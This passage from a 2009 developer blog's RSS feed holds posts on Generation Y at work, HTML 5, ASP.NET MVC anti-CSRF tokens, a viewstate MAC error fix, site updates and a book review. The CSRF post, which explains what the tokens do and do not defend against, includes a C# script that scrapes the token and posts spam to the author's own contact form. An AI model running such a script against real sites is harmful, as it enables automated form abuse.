<blockquote><p>would prefer to work for companies that give them opportunities to contribute their talents to nonprofit organizations. - <a href="http://www.entrepreneur.com/humanresources/compensationandbenefits/article188360.html">Volunteering as a Benefit</a></p></blockquote>
<p>But then again, who wouldn't like to work for company that encouraged contributions to nonprofits and pet projects?</p>
<p>Yet others have noted that we:</p>
<blockquote><p>demand to be communicated to in a direct, honest and transparent way ... are "'immediate driven" and quite keen to live their lives right now, rather than adhering to the old Protestant work ethic that suggests you can only reap the rewards of life after you have worked hard and basically sold your soul to your employer. - <a href="http://www.management-issues.com/2009/1/27/opinion/how-to-turn-on-generation-y.asp">How to turn on Generation Y</a></p></blockquote>
<p>Yup, that sounds fair. We expect transparency in the age of information. Continuing with that thought, it's also been said that:</p>
<blockquote><p>[we] view time as a currency ... not to be wasted ... They want to get the job done, then put it behind them and enjoy life. - <a href="http://www.management-issues.com/2007/5/31/opinion/retaining-youth.asp">Retaining youth</a></p></blockquote>
<p>Again, seems a bit obvious. We're not lazy, but we've seen our elders do a lot of weird stuff as they go through their midlife crisis - maybe if they didn't put off living in the name of work they would have maintained more sanity.</p>
<p>It's also been said that we:</p>
<blockquote><p>prefer to dress as casual as possible and work with mobile gadgets or laptops in comfortable, creative spaces. - <a href="http://plone.acm.org/membership/careernews/archives/v3_i6">CareerNews: Tuesday, May 22, 2007</a></p></blockquote>
<p>What demographic group doesn't like to be comfortable while working? Our attire should be an extension of workplace ergonomics - we're told to lift heavy object with your legs (not your back), and use ergonomically correct equipment. Wearing comfortable clothes and using gadgets should be a natural extension. :)</p>
<p>In general, I think our generation strives to work smarter (not necessarily longer hours), we try to atain a healthy work-life balance, and a number of us value experiences over owning stuff. I think <em>smart people</em> from other demographics have been doing the same things for years, but what do I know, I'm just another Generation X / Y / Millennial.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/fjmzmH74R7U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/</feedburner:origLink></item>
		<item>
		<title>Chatting With a Flash Developer Turned Web Developer</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/n4jPnbH9CXo/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 16:00:11 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Musings]]></category>

		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2112</guid>
		<description><![CDATA[I was chatting with a Flash Developer turned Web Developer. When asked why he made the transition, he predicted that HTML 5 and the evolution of the web thereafter would lessen the demand for Flash Developers (possibly making them obsolete) and that moving towards a Web Developer / Generalist is an investment for the future. [...]]]></description>
			<content:encoded><![CDATA[<p>I was chatting with a Flash Developer turned Web Developer. When asked why he made the transition, he predicted that <a href="http://en.wikipedia.org/wiki/HTML5">HTML 5</a> and the evolution of the web thereafter would lessen the demand for Flash Developers (possibly making them obsolete) and that moving towards a Web Developer / Generalist is an investment for the future. I thought that was an interesting perspective. It's not far fetched to predict that the open web will replace proprietary browser plug-ins - in many cases digital content has already replaced print.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/n4jPnbH9CXo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/</feedburner:origLink></item>
		<item>
		<title>What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/SO-pUQMQZPg/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 17:00:05 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2030</guid>
		<description><![CDATA[Anti Cross-site Request Forgery Tokens help prevent Cross-site Request Forgery (CSRF) also known as XSRF - pronounced "sea-surf" - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the [...]]]></description>
			<content:encoded><![CDATA[<p>Anti Cross-site Request Forgery Tokens help prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF)</a> also known as XSRF - pronounced <em>"sea-surf"</em> - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the identity of the user. They aren't a replacement for <a href="http://en.wikipedia.org/wiki/CAPTCHA">CAPTCHA</a>s and don't prevent robots or <a href="http://en.wikipedia.org/wiki/Web_scraping">web scrapers</a> from manipulating your site - as you'll soon see.</p>
<p><strong>Why use an Anti CRSF Token?</strong></p>
<p>An overly simple example: If I didn't use an Anti Forgery Token on <a href="http://adam.kahtava.com/contact/">my contact page</a> (see the source code: <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/Source/Website/App/Views/Contact/Index.aspx">View</a> or <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/Source/Website/App/Controllers/ContactController.cs">Controller</a>), a Spammer could POST data directly against my contact form and potentially drown me with spam.</p>
<p>Here's a hypothetical form created by an evil Spammer. This form is hosted on http://spammer.com (not my site):</p>
<pre>&lt;form action="<strong>http://adam.kahtava.com/contact/send</strong>" method="POST"&gt;
  &lt;input name="fromName" type="text" value="Johnathon Fink" /&gt;
  &lt;input name="fromAddress" type="text" value="prancesw@rmcres.com" /&gt;
  &lt;input name="subject" type="text" value="Call for your diploma now" /&gt;
  &lt;textarea name="body"&gt;Is your lack of a degree...&lt;/textarea&gt;
  ...
&lt;/form&gt;</pre>
<p><em>Again, note that the form action contains a reference to my site (even though it is hosted on another site). </em></p>
<p>Now, imagine this was a form prompting a user for their username and password. These credentials could be maliciously stored while the user successfully authenticates and is then redirected to the site they thought they were visiting - the way <a href="http://en.wikipedia.org/wiki/Phishing">phishing</a> usually works.</p>
<p>After adding an Anti CRSF Token to my contact form, a Spammer can't access my form remotely (at least not without the token). My contact form with it's Anti CRSF Token:</p>
<pre>&lt;form action="/contact/send" method="post" name="contact"&gt;
  &lt;input name="<strong>__RequestVerificationToken</strong>" type="hidden" value="0sAqY1ZKb+Qia4..." /&gt;
  &lt;input name="fromName" ...</pre>
<p><em>Note the presence of the RequestVerificationToken.</em></p>
<p>Said Spammer, can't abuse my form without including the unique token. Technically speaking the Spammer can still abuse my form, but he now needs to:</p>
<ul>
<li>Request (GET) <a href="http://adam.kahtava.com/contact">my contact form</a></li>
<li>Parse out the Anti CRSF Token</li>
<li>POST their spam into <a href="http://adam.kahtava.com/contact/send">my contact form</a> along with the token</li>
</ul>
<p>This is pretty easy to do if you have an implementation of a HTTP Client library that supports cookies.</p>
<p><strong>How to hack an Anti CRSF Token protected form</strong></p>
<p>Using an extended instance of .NETs Web Client here's how our Spammer could circumvent my Anti CRSF Token.</p>
<p>The Spamming script by that wascaly Spammer:</p>
<pre><strong>// create a new HTTP Web Client that supports cookies</strong>
var webClient = new <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk/AdamDotCom.Common.Service/Source/Common/Utilities/WebClientWithCookies.cs">WebClientWithCookies</a>();

<strong>//download my contact page containing the Anti CRSF Token</strong>
webClient = webClient.DownloadData("http://adam.kahtava.com/contact");

<strong>//parse out the Anti CRSF Token</strong>
var antiCrsfToken = <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk/AdamDotCom.Common.Service/Source/Common/Utilities/Utilities.cs">RegexUtilities</a>.GetTokenString(
                      new Regex("__RequestVerificationToken=(?&lt;CRSF_Token&gt;[^;]+)")
                      .Match(webClient.ResponseHeaders["Set-Cookie"]), "CRSF_Token");

<strong>//now the Spammer can drown me in spam-spam-spam
// by scraping my Anti CRSF Token and posting it into my form</strong>
webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
byte[] response = webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
                            Encoding.UTF8.GetBytes(
                              "<strong>__RequestVerificationToken</strong>=" + antiCrsfToken +
                              "&amp;fromName=\"Johnathon Fink\"" +
                              "&amp;fromAddress=\"prancesw@rmcres.com\"" +
                              "&amp;subject=\"Call for your diploma now\"" +
                              "&amp;body=\"Is your lack of a degree...\""));</pre>
<p>The Spammer is back at their old tricks sending me more Spam. ARGH!</p>
<p><strong>What's the use of an Anti CRSF Token?</strong></p>
<p>Anti CRSF Tokens help prevent phishing attacks. They aren't meant to prevent spammers or Dr Robotnik and his robots (or web scrapers) from running automated scripts against your web application. Keep in mind, that if your site suffers from other <a href="http://en.wikipedia.org/wiki/Cross-site_scripting">XSS</a> vulnerabilities (where the privacy of your cookies or sessions are compromised) then Anti CRSF Tokens don't work at all.</p>
<p>Read more about how Anti CRSF Tokens work here: <a href="http://blog.codeville.net/2008/09/01/prevent-cross-site-request-forgery-csrf-using-aspnet-mvcs-antiforgerytoken-helper/">Prevent Cross-Site Request Forgery (CSRF) using ASP.NET MVC’s AntiForgeryToken() helper</a> or learn more about Cross-Site Request Forgery at: <a href="http://www.cgisecurity.com/csrf-faq.html">The Cross-Site Request Forgery (CSRF/XSRF) FAQ</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=SO-pUQMQZPg:tzFS4zZL7YQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=SO-pUQMQZPg:tzFS4zZL7YQ:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/SO-pUQMQZPg" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/</feedburner:origLink></item>
		<item>
		<title>How To Fix the: “Validation of viewstate MAC failed” Error (ASP.NET MVC)</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Htz5O1XPvsQ/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 17:00:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2011</guid>
		<description><![CDATA[I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the "Validation of viewstate MAC failed" error.
The "Validation of viewstate MAC failed" error only occurred when a page contained an HTML form element that made use of MVC's AntiForgeryToken. The quick fix was to [...]]]></description>
			<content:encoded><![CDATA[<p>I run my site on a Windows Shared Hosting account, and every time I updated the assemblies on my ASP.NET MVC site I'd be presented with the <em>"Validation of viewstate MAC failed"</em> error.</p>
<p>The <em>"Validation of viewstate MAC failed"</em> error only occurred when a page contained an HTML form element that made use of MVC's <a href="http://msdn.microsoft.com/en-us/library/dd492767.aspx">AntiForgeryToken</a>. The quick fix was to delete my <code>__RequestVerificationToken</code> cookie, but the error would rear its ugly head the minute I touched my assemblies. The <strong>long term solution</strong> was to add a <a href="http://msdn.microsoft.com/en-us/library/w8h3skw9.aspx">machineKey element</a> to my Web.config file - asking visitors to delete a specific cookies when visiting my site was not a viable option.</p>
<p><strong>How I fixed the </strong><em><strong>"Validation of viewstate MAC failed"</strong></em><strong> error on Shared Hosting:</strong></p>
<ol>
<li>I used the <a href="http://aspnetresources.com/tools/keycreator.aspx">&lt;machineKey&gt; Generator Tool</a> to generate a machine key</li>
<li>I added the machineKey element to my Web.config file</li>
</ol>
<p>My Web.config now looks similar to this:</p>
<pre>&lt;?xml version="1.0"?&gt;
&lt;configuration&gt;
  &lt;system.web&gt;
    &lt;machineKey validationKey="..." decryptionKey="..." validation="SHA1" /&gt;</pre>
<p>Anyhow, I hope this post helps anyone else that's encountering this error.</p>
<p>Oh wait, here's the error in its entirety for The Google Machine's crawlers:</p>
<blockquote><p><code>Server Error in '/' Application.</code></p>
<p><code>Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that  configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.</code></p>
<p><code>Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.</code></p>
<p><code> </code><code>Exception Details: System.Web.HttpException: Validation of viewstate MAC failed. If this application is hosted by a Web Farm or cluster, ensure that  configuration specifies the same validationKey and validation algorithm. AutoGenerate cannot be used in a cluster.</code></p></blockquote>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=Htz5O1XPvsQ:lqZFZuJKW3U:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=Htz5O1XPvsQ:lqZFZuJKW3U:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/Htz5O1XPvsQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/23/how-to-fix-the-validation-of-viewstate-mac-failed-error-aspnet-mvc/</feedburner:origLink></item>
		<item>
		<title>Site Update: New Resume, Contact, Reviews, and Reading Lists Sections</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/5jRuwI7fXC0/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/#comments</comments>
		<pubDate>Sun, 08 Nov 2009 17:00:37 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[.NET]]></category>

		<category><![CDATA[ADC Services]]></category>

		<category><![CDATA[ADC Website]]></category>

		<category><![CDATA[ASP.NET]]></category>

		<category><![CDATA[ASP.NET MVC]]></category>

		<category><![CDATA[Amazon]]></category>

		<category><![CDATA[Open Source]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1974</guid>
		<description><![CDATA[This site now sports a Resume, Contact Me, Reviews, and Reading Lists section.
If you're reading this from an RSS feed, then the changes looks like this:

These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my Resume service, the Reading Lists and Reviews are being pulled from Amazon [...]]]></description>
			<content:encoded><![CDATA[<p>This site now sports a <a href="http://adam.kahtava.com/resume/curriculum-vitae/software-developer/">Resume</a>, <a href="http://adam.kahtava.com/contact-me/">Contact Me</a>, <a href="http://adam.kahtava.com/book-reviews/">Reviews</a>, and <a href="http://adam.kahtava.com/reading-lists/recommended-and-wishlist/">Reading Lists</a> section.</p>
<p>If you're reading this from an RSS feed, then the changes looks like this:</p>
<p style="padding-left: 30px;"><img src="http://adam.kahtava.com/journal/images/blog/adamdotcom-navigation-update.png" alt="Navigation changes on my site" width="429" height="112" /></p>
<p>These new sections make use of the services I created earlier - my resume content is pulled directly from LinkedIn via my <a href="http://adam.kahtava.com/journal/2009/09/24/introducing-my-linkedin-resume-service-view-your-resume/">Resume service</a>, the Reading Lists and Reviews are being pulled from Amazon via my <a href="http://adam.kahtava.com/journal/2009/09/15/introducing-my-amazon-web-service-find-your-profile-view-your-wishlist-or-reviews/">Amazon service</a>, and I'm still working on a personalized greeting module which will make use of my <a href="http://adam.kahtava.com/journal/2009/09/30/introducing-my-whois-service-customize-your-site-content-based-on-referrals-location-and-more/">Whois service</a>.</p>
<p>Now, when I update my resume on LinkedIn, add a new item to my Amazon wishlist, or write a new Review on Amazon the content is updated within this site and indexed by the Google.</p>
<p>It took longer than expected to get these new pages up and running - mostly due to a couple false starts. You see, I'm running this site on Windows shared hosting which unfortunately doesn't give me many options - sure, sure, I could purchase another hosting account, but developers are like freak'n MAcGyver we like working within ridiculous constraints. It's all about the challenge! Anyways, I first tried using Ruby on Rails on shared hosting (fail), then tried using PHP on Trax (fail), and finally reverted to ASP.NET MVC. While ASP.NET MVC is heads and tails more fun than Web Forms / Classic ASP.NET, the impedance mismatch between strongly typed objects and web languages (JavaScript, CSS, XHTML) is still annoying. Thankfully the <a href="http://github.com/mvccontrib/MvcContrib">MVC Contrib</a> project solves some of these pains, however it can't solve them all.</p>
<p>My next steps with this site are to: finish the greeting module, update the layout (drop the WordPress theme), and finish a Github / Google Code repo widget (kind of like this <a href="http://drnicwilliams.com/2008/05/03/github-badge-for-your-blog/">one</a>) for the sidebar.</p>
<p>Contribute, view, or download the openly available source code <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/#trunk/Source/Website">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=5jRuwI7fXC0:kNHet2JOWcg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=5jRuwI7fXC0:kNHet2JOWcg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/5jRuwI7fXC0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/08/site-update-new-resume-contact-reviews-and-reading-lists-sections/</feedburner:origLink></item>
		<item>
		<title>Book Reviewed: Pragmatic Thinking and Learning: Refactor Your Wetware</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/dyIpdpzwPvc/</link>
		<comments>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 16:00:44 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
		
		<category><![CDATA[Review]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=1961</guid>
		<description><![CDATA[Andy Hunt's Pragmatic Thinking and Learning is fun and interesting, but the topics within often leaned on the obvious. The central theme throughout Pragmatic Thinking and Learning revolves around harnessing brain modes (linear mode and rich mode), self improvement, and the Dreyfus Model - a model, where skills are ranked by five stages (Novice, Advanced [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050/"><img style="float: right;" src="http://images.amazon.com/images/P/1934356050.01._SCMZZZZZZZ_.jpg" alt="Pragmatic Thinking and Learning" /></a>Andy Hunt's <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050/">Pragmatic Thinking and Learning</a> is fun and interesting, but the topics within often leaned on the obvious. The central theme throughout Pragmatic Thinking and Learning revolves around harnessing brain modes (linear mode and rich mode), self improvement, and the <a href="http://en.wikipedia.org/wiki/Dreyfus_model_of_skill_acquisition">Dreyfus Model</a> - a model, where skills are ranked by five stages (Novice, Advanced Beginner, Competent, Proficient, and Expert). Throughout the text Andy works through the stages of the Dreyfus Model within the context of the software realm. He offers advice on how we can progress as developers, and discusses learning techniques that have worked for him.</p>
<p>Andy offers many interesting tips, stories, and draws in external research. For example, <strong>did you know, that research suggests that: <em>"if you constantly interrupt your task to check email [Twitter, Facebook] or respond to an IM text message, your effective IQ drops by ten points"</em></strong> or <em>"the leading predictor of a tendency for road rage was the amount of personalization on a vehicle"</em>?</p>
<p>However, I felt that many of the concepts discussed have become common knowledge (part of popular developer culture) and were somewhat obvious. To borrow from the Dreyfus Model; this book is probably best suited for Novices or Advanced Beginner. It's also fair to mention that I thought Andy's other book <a href="http://www.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X/">The Pragmatic Programmer</a> suffered this same problem, but also keep in mind that <em>"the obvious ... is never seen until someone expresses it simply</em>" (Kahlil Gibran). In the end, I do recommend this book. It's a fun read, excellent for those who are new to the software industry. It would make a great addition to College / University programs.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=dyIpdpzwPvc:PZVHHoEQMmw:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=dyIpdpzwPvc:PZVHHoEQMmw:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/dyIpdpzwPvc" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/feed/</wfw:commentRss>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/10/26/book-reviewed-pragmatic-thinking-and-learning-refactor-your-wetware/</feedburner:origLink></item>
		<item>
		<title>The Dreyfus Model: Developer Events and Skill Categories</title>
